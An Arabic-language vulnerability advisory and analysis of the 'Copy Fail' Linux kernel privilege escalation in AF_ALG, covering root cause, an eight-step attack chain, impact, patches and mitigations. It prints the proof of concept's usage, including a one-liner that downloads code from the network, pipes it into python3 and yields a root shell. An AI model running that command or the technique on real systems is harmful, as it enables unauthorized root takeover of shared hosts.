
إثبات مفهوم لاستغلال CVE-2026-31431، وهو تصعيد صلاحيات محلي في نواة لينكس عبر كتابة ذاكرة التخزين المؤقت للصفحات في AF_ALG، مما يحقق صلاحيات الجذر على التوزيعات الرئيسية.
algif_aead كتابة ذاكرة التخزين المؤقت للصفحات ("Copy Fail")
المؤلف: Van Glenndon Enad
الاكتشاف الأصلي: Theori / Xint Code Research Team (Taeyang Lee)
تاريخ النشر: 29 أبريل 2026
الخطورة: عالية
درجة CVSS v3.1: 7.8
متجه CVSS v3.1: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-787 (كتابة خارج الحدود)، CWE-269 (إدارة امتيازات غير سليمة)
CVE-2026-31431، المعروفة علنًا باسم "Copy Fail"، هي ثغرة تصعيد امتيازات محلية (LPE) عالية الخطورة في وحدة algif_aead بنواة لينكس — واجهة تشفير AEAD الخاصة بواجهة برمجة التطبيقات المشفرة لمستخدمي النواة (AF_ALG). ينبع الخلل من تحسين أداء (العملية في المكان) تم تقديمه في عام 2017 عبر الالتزام 72548b093ee3، والذي سمح عن غير قصد بوضع صفحات ملفات مدعومة بذاكرة التخزين المؤقت للصفحات في قائمة التشتت الوجهة القابلة للكتابة أثناء عملية تشفير AEAD.
من خلال ربط ثلاثة أنظمة فرعية للنواة — مقابس AF_ALG، واستدعاء النظام splice()، وسلوك الكتابة المؤقتة لخوارزمية authencesn — يمكن لمستخدم محلي غير مميز تنفيذ كتابة محكومة من 4 بايت في ذاكرة التخزين المؤقت للصفحات لأي ملف قابل للقراءة. باستهداف ثنائي setuid مثل /usr/bin/su، تُفسد هذه الكتابة صورة التنفيذ في الذاكرة دون تعديل الملف على القرص، متجاوزةً بذلك أدوات سلامة الملفات على القرص. تصعيد الامتيازات الناتج إلى root هو حتمي — لا توجد حالة سباق، ولا إزاحات نواة خاصة بالتوزيعات، ولا امتيازات خاصة مطلوبة. استغلال Python عام متاح علنًا بحجم 732 بايت يمنح قذائف root على Ubuntu وAmazon Linux وRHEL وSUSE في تشغيل واحد غير معدّل.
كانت الثغرة حاضرة بصمت في كل توزيعات لينكس الرئيسية لما يقارب تسع سنوات. وفقًا لـ Theori، فإن AF_ALG مفعّل في تكوين النواة الافتراضي لكل توزيعة تقريبًا، مما يعني عدم الحاجة لأي أعلام بناء أو إعدادات خاصة ليكون النظام عرضة للثغرة.
تكشف نواة لينكس البدائيات المشفرة لمستخدمي الفضاء عبر واجهة مقبس AF_ALG (crypto/algif_aead.c). في عام 2017، تم دمج تحسين أداء سمح لـ algif_aead بتنفيذ عمليات AEAD في المكان — إعادة استخدام مخزن الذاكرة المصدر كوجهة — لتجنب نسخ البيانات غير الضروري.
يظهر الخلل عندما يُدخل مستخدم الفضاء بيانات إلى مقبس AF_ALG عبر استدعاء النظام splice(). في هذه الحالة، تكون الصفحات الموضوعة في قائمة التشتت المصدر صفحات ذاكرة تخزين مؤقت — ذاكرة مشتركة مُدارة من النواة تدعم الملف المُقسَّم. بسبب تحسين العملية في المكان الذي يضبط req->src = req->dst، تنتهي صفحات ذاكرة التخزين المؤقت هذه في قائمة التشتت الوجهة القابلة للكتابة. تقوم خوارزمية authencesn لاحقًا بكتابة مؤقتة عند dst[assoclen + cryptlen]، والتي تُحل إلى إزاحة داخل صفحات ذاكرة التخزين المؤقت تلك — مما يكتب فعليًا بيانات يتحكم بها المهاجم في الصورة الذاكرية للملف المُقسَّم.
لأن ذاكرة التخزين المؤقت للصفحات مشتركة عبر المضيف بأكمله بما في ذلك الحاويات، فإن الكتابة من عملية واحدة تؤثر على الصفحات المخزنة مؤقتًا لذلك الملف لكل العمليات والحاويات على نفس النواة.
التغيير المخالف في algif_aead.c ضبط req->src = req->dst وسلسل صفحات العلامات من قائمة التشتت المصدر إلى قائمة التشتت الناتجة عبر sg_chain():
/* تحسين العملية في المكان لعام 2017 — الالتزام 72548b093ee3 */
req->src = req->dst; /* المصدر == الوجهة */
sg_chain(dst, n + 1, src_tag); /* صفحات العلامات مُسلسلة في dst القابلة للكتابة */
عند استخدام splice() لتغذية ملف في المقبس، تكون صفحات قائمة التشتت مدعومة بذاكرة التخزين المؤقت للصفحات، وليست ذاكرة خاصة مجهولة. تسلسلها في قائمة dst القابلة للكتابة ينتهك الافتراض بأن الوجهة هي ذاكرة خاصة قابلة للكتابة.
authencesnيكتب قالب authencesn قيمة مؤقتة لرقم التسلسل (seqno_lo، البايتات 4–7 من AAD) عند dst[assoclen + cryptlen]. لأن dst يحتوي الآن على صفحات ذاكرة تخزين مؤقت من الملف المُقسَّم، تهبط هذه الكتابة عند إزاحة يتحكم بها المهاجم داخل الصورة الذاكرية للملف:
/* الكتابة المؤقتة لـ authencesn — الإزاحة محددة بواسطة assoclen + cryptlen */
scatterwalk_map_and_copy(seqno, dst,
req->assoclen + req->cryptlen,
sizeof(seqno), 1); /* يكتب في ذاكرة التخزين المؤقت للصفحات */
البايتات الأربعة المكتوبة تتوافق مع seqno_lo، والتي يتحكم بها المهاجم عبر حمولة AAD المرسلة عبر sendmsg().
مقبس AF_ALG (SOCK_SEQPACKET)
│
│ splice() — يسلّم صفحات مدعومة بملف إلى المقبس
▼
تحسين العملية في المكان لـ algif_aead
│ req->src = req->dst
│ صفحات ذاكرة التخزين المؤقت تهبط في قائمة التشتت القابلة للكتابة
▼
الكتابة المؤقتة لـ authencesn
│ يكتب seqno_lo عند dst[assoclen + cryptlen]
│ = 4 بايت يختارها المهاجم عند إزاحة ملف يختارها المهاجم
▼
فساد ذاكرة التخزين المؤقت للصفحات (بدون تغيير على القرص)
الإصلاح (a664bf3d603d) يتراجع عن تحسين العملية في المكان بالكامل — يعمل algif_aead الآن دائمًا خارج المكان، مخصصًا مخزن وجهة منفصلًا. بما أن المصدر والوجهة يأتيان الآن من تعيينات مختلفة، لا يمكن لصفحات ذاكرة التخزين المؤقت في src أن تُصل إليها مسار كتابة dst أبدًا.
بشكل ملحوظ غير موجود في المتطلبات الأساسية: الوصول إلى الشبكة، ميزات تصحيح أخطاء النواة، CAP_SYS_ADMIN، وحدات نواة محملة مسبقًا، أو أي بدائيات موجودة مسبقًا. سطح الهجوم محلي بالكامل ومكتفٍ ذاتيًا.
الخطوة 1: يفتح المهاجم مقبس AF_ALG AEAD (SOCK_SEQPACKET)
│ يحمّل وحدة algif_aead تلقائيًا؛ لا يتطلب root
▼
الخطوة 2: يفتح المهاجم الثنائي setuid المستهدف (مثل /usr/bin/su) للقراءة
│ فقط صلاحية القراءة مطلوبة
▼
الخطوة 3: splice() ينقل صفحات الملف المستهدف إلى مقبس AF_ALG
│ صفحات ذاكرة التخزين المؤقت الآن في قائمة التشتت المصدر
▼
الخطوة 4: تحسين العملية في المكان يعمل: req->src = req->dst
│ صفحات ذاكرة التخزين المؤقت تدخل قائمة التشتت الوجهة القابلة للكتابة
▼
الخطوة 5: مسار فك تشفير authencesn ينفذ كتابة مؤقتة عند dst[assoclen + cryptlen]
│ يتحكم المهاجم في assoclen وcryptlen وقيمة seqno_lo ذات الـ 4 بايت
▼
الخطوة 6: الكتابة الفوقية المحكومة من 4 بايت تهبط في ذاكرة التخزين المؤقت للصفحات لـ /usr/bin/su
│ الثنائي في الذاكرة مُصحَّح؛ الملف على القرص دون تغيير
▼
الخطوة 7: ينفذ المهاجم `su` — الصورة الذاكرية المفسدة تعمل كـ root
│ بت setuid محفوظ؛ النواة تنفذ الكود المُصحَّح من قبل المهاجم
▼
الخطوة 8: الحصول على قشرة root — اكتمل تصعيد الامتيازات
في بيئات الحاويات، تنشر الخطوة 6 فساد ذاكرة التخزين المؤقت للصفحات إلى المضيف وإلى جميع الحاويات الشقيقة التي تشارك نفس النواة، مما يتيح هروبًا كاملًا من الحاوية.
يستخدم إثبات المفهوم (copy_fail_exp.py، 732 بايت) فقط وحدات المكتبة القياسية لـ Python 3.10+: os، socket، وzlib. يبني الاستغلال ويرسل حمولة sendmsg() مصممة بدقة إلى مقبس AF_ALG بعد تجهيز صفحات الملف عبر splice().
/usr/bin/suيستهدف إثبات المفهوم الافتراضي /usr/bin/su. الكتابة ذات الـ 4 بايت تصحح تعليمة محددة في الصفحة المخزنة مؤقتًا لثنائي ELF — مستبدلةً فرع فحص الامتيازات أو فحص uid بعملية لا-عملية أو قفزة غير مشروطة — بحيث عندما يُنفَّذ su لاحقًا، تعمل بيئة تنفيذ setuid بالكود المُصحَّح كـ root. الفساد غير دائم: إخلاء صفحة أو إعادة تشغيل يستعيد الثنائي الأصلي.
على عكس هجمات ذاكرة التخزين المؤقت للصفحات النموذجية (مثل Dirty COW)، لا يتطلب Copy Fail أي حالة سباق. مسار الكتابة خط مستقيم: splice() ← sendmsg() ← كتابة مؤقتة. كل استدعاء حتمي ومتزامن، مما يجعل الاستغلال موثوقًا للغاية عبر الأجهزة وإصدارات النواة والتوزيعات.
تحذير: يُقدَّم إثبات المفهوم هذا لأغراض تعليمية وبحثية واختبارات مصرح بها فقط. لا تستخدمه ضد أي نظام لا تملكه أو ليس لديك إذن كتابي صريح لاختباره.
يُحافظ على إثبات المفهوم الرسمي من قبل Theori في المستودع الرسمي. إنه سكربت Python 3.10+ مكتفٍ ذاتيًا بحجم 732 بايت بدون أي تبعيات خارجية.
الاستخدام الافتراضي (يستهدف /usr/bin/su):
python3 copy_fail_exp.py
هدف setuid مخصص:
python3 copy_fail_exp.py /usr/bin/sudo
سطر واحد (من الموقع الرسمي):
curl https://copy.fail/exp | python3 && su
# id
uid=0(root) gid=1002(user) groups=1002(user)
SHA256 لإثبات المفهوم الرسمي:
a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
تم عرض نفس السكربت غير المعدّل علنًا وهو يحقق قذائف root على Ubuntu 24.04 LTS وAmazon Linux 2023 وRHEL 10.1 وSUSE 16 في جلسة tmux واحدة.
أهم متجه أثر هو البيئات متعددة المستأجرين: أجهزة التطوير المشتركة، عقد عمل Kubernetes، عدّاءات GitHub Actions المستضافة ذاتيًا، وكلاء CI في GitLab/Jenkins، منصات استضافة دفاتر الملاحظات، والبيئات بدون خوادم حيث يُنفَّذ كود مقدَّم من المستخدم تحت حساب مستخدم عادي. أي بيئة من هذا القبيل تعمل بنواة غير مُصلَّحة تكون مخترقة بالكامل من قبل أي مستخدم يمكنه تنفيذ كود.
قم بترقية النواة إلى إصدار يحتوي على التزام الإصلاح الرئيسي a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5:
عطّل وحدة نواة algif_aead لحجب مسار الهجوم من مصدره:
# إبقاء الحظر عبر عمليات إعادة التشغيل
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# إلغاء تحميل الوحدة من النواة قيد التشغيل (إذا كانت محملة)
rmmod algif_aead
ما الذي يكسره هذا: هذا لا يؤثر على dm-crypt/LUKS أو kTLS أو IPsec/XFRM أو SSH أو OpenSSL/GnuTLS/NSS القياسية. قد يؤثر على تطبيقات مستخدم الفضاء التي تستخدم صراحةً محرك
afalgالخاص بـ OpenSSL أو تربط مقابسaeadمباشرة. تحقق باستخدامlsof | grep AF_ALGقبل التطبيق.
AF_ALG عبر seccomp بغض النظر عن حالة التصحيح — أضف SOCK_SEQPACKET + AF_ALG إلى قائمة المنع في ملف تعريف seccomp الخاص بك.AF_ALG AEAD غير متوقع.AF_ALG SOCK_SEQPACKET — هذه هي الخطوة الأولى الإلزامية للاستغلال.su/sudo غير المتوقعة مقترنة باستخدام مقبس AF_ALG كإشارة سلوكية.إخلاء مسؤولية قانوني: يُنشر هذا التحليل وإثبات المفهوم بدقة لأغراض تعليمية وبحثية وأمنية دفاعية. لا يوافق المؤلف على الوصول غير المصرح به إلى أنظمة الكمبيوتر. احصل دائمًا على إذن كتابي صريح قبل إجراء اختبارات أمنية ضد أي نظام لا تملكه.
| المكوّن | التفاصيل |
|---|
| النظام الفرعي المتأثر | crypto/algif_aead.c — واجهة AEAD الخاصة بـ AF_ALG في نواة لينكس |
| تاريخ إدخال الثغرة | نواة لينكس 4.14 (2017)، الالتزام 72548b093ee38a6d4f2a19e6ef1948ae05c181f7 |
| الإصدارات المُصلَّحة | 6.18.22، 6.19.12، 7.0 |
| التزام الإصلاح | a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 |
| التوزيعات المُتحقق منها | Ubuntu 24.04 LTS، Amazon Linux 2023، RHEL 10.1، SUSE 16 |
| المتأثرة ضمنيًا | Debian، Arch، Fedora، Rocky، AlmaLinux، Oracle Linux، وأي توزيعة تعمل بنواة غير مُصلَّحة مبنية منذ 2017 |
| المتطلب | ملاحظات |
|---|
| حساب مستخدم محلي غير مميز | لا حاجة لأي صلاحيات مرتفعة |
| نواة مبنية من 2017 فصاعدًا (≥ 4.14) | يغطي فعليًا جميع التوزيعات الرئيسية |
AF_ALG (CONFIG_CRYPTO_USER_API) مفعّل | افتراضي في جميع تكوينات نواة التوزيعات تقريبًا |
وحدة algif_aead قابلة للتحميل/محملة | تُحمّل تلقائيًا عند أول إنشاء لمقبس AF_ALG |
ثنائي setuid واحد قابل للقراءة على الأقل | مثل /usr/bin/su، /usr/bin/sudo |
| Python 3.10+ (لإثبات المفهوم العام) | فقط os، socket، zlib من المكتبة القياسية |
| المعامل | تحكم المهاجم | الآلية |
|---|
| الملف المستهدف | أي ملف قابل للقراءة من قبل المهاجم | يُمرَّر إلى splice() |
| إزاحة الكتابة | assoclen + cryptlen | تُضبط عبر خيارات المقبس في sendmsg() |
| قيمة الكتابة (4 بايت) | seqno_lo | البايتات 4–7 من حمولة AAD في sendmsg() |
| الفئة | الوصف |
|---|
| السرية | وصول قراءة كامل لجميع الملفات على المضيف كـ root |
| السلامة | القدرة على كتابة ملفات عشوائية، تثبيت أبواب خلفية، تعديل /etc/passwd أو /etc/shadow |
| التوفر | استيلاء كامل على المضيف؛ انقطاع الخدمة ممكن |
| المصادقة | لا حاجة لأي بيانات اعتماد تتجاوز حساب مستخدم محلي |
| هروب الحاوية | ذاكرة التخزين المؤقت للصفحات مشتركة عبر المضيف — يمكن لبودية بقشرة محلية اختراق العقدة وعبور حدود المستأجرين |
| خط أنابيب CI/CD | طلب سحب غير موثوق يُنفَّذ على عدّاء مستضاف ذاتيًا يصبح root على مضيف العدّاء |
| الاستمرارية | ما بعد الاستغلال: حقن مفاتيح SSH، وظائف cron، تثبيت وحدات النواة — كلها قابلة للتحقيق بسهولة |
| التهرب الجنائي | الثنائي على القرص لا يُعدَّل أبدًا؛ مراقبو سلامة الملفات (FIM)، AIDE، Tripwire لا يرون أي تغيير |
| التوزيعة | إصدار النواة المُصلَّح |
|---|
| لينكس الرئيسي | 6.18.22، 6.19.12، 7.0 |
| Ubuntu 24.04 LTS | تصحيح البائع متاح — apt update && apt upgrade |
| Amazon Linux 2023 | تصحيح البائع متاح — dnf update kernel |
| RHEL 10.1 | تصحيح Red Hat قيد التنفيذ — AlmaLinux أصدرت الإصلاح الرئيسي |
| SUSE 16 | تصحيح البائع متاح — zypper update kernel-default |
| التاريخ | الحدث |
|---|
| 2026-03-23 | الإبلاغ عن الثغرة إلى فريق أمان نواة لينكس من قبل Theori |
| 2026-03-24 | استلام إقرار أولي |
| 2026-03-25 | اقتراح التصحيح ومراجعته من قبل مشرفي النواة |
| 2026-04-01 | الالتزام بالإصلاح في الخط الرئيسي (a664bf3d603d) |
| 2026-04-22 | تعيين CVE-2026-31431 |
| 2026-04-29 | الإفصاح العام في copy.fail؛ نشر إثبات المفهوم على GitHub |
| 2026-04-30 | AlmaLinux تصدر نواة مُصلَّحة باستخدام الإصلاح الرئيسي |
| 2026-04-30 | مدونة أمان Microsoft وSophos وSysdig وBugcrowd تنشر تحليلات |
| 2026-05-01 | نشر إثبات مفهوم هروب حاوية Kubernetes |
| 2026-05-02 | نشر تحليل وتوثيق مستقل |